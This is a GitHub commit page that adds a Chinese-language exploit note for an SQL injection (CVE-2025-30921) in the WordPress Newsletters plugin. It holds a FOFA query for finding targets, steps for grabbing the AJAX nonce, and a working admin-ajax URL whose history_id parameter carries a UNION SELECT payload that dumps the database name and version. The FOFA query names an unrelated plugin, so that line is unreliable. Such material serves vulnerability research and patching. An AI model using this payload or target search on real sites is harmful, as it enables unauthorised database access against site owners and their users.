Update WordPress Newsletters Plugin存在SQL漏洞(CVE-2025-30921).md

This commit is contained in:
Rainyseason 2025-04-07 11:31:51 +08:00 committed by GitHub
parent 474cba52aa
commit 30cd11c2e4
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1 +1,24 @@
## WordPress Newsletters Plugin存在SQL漏洞(CVE-2025-30921)
WordPress在Newsletters插件版本4.9.9.7或更低版本的插件仪表板中查看统计概览图表时/wp-admin/admin.php?page=newsletters由于对URL参数的输入验证和转义处理不足会发生SQL注入漏洞。
## fofa
```
body="/wp-content/plugins/web-directory-free"
```
## poc-(需要Administrator权限)
使用浏览器开发者工具action=wpmlwelcomestats&security=在“元素”选项卡中搜索 并检查 的值security。例如如果搜索结果如下所示请记下22b1ac0de6
```
jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
```
![image](https://github.com/user-attachments/assets/c82f3e9a-fd70-405f-b6d0-d9bd77622f76)
```javascript
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
```
![image](https://github.com/user-attachments/assets/c178862e-730b-4ba1-bce0-978b74cc0589)
## 漏洞来源
- https://github.com/DoTTak/CVE-2025-30921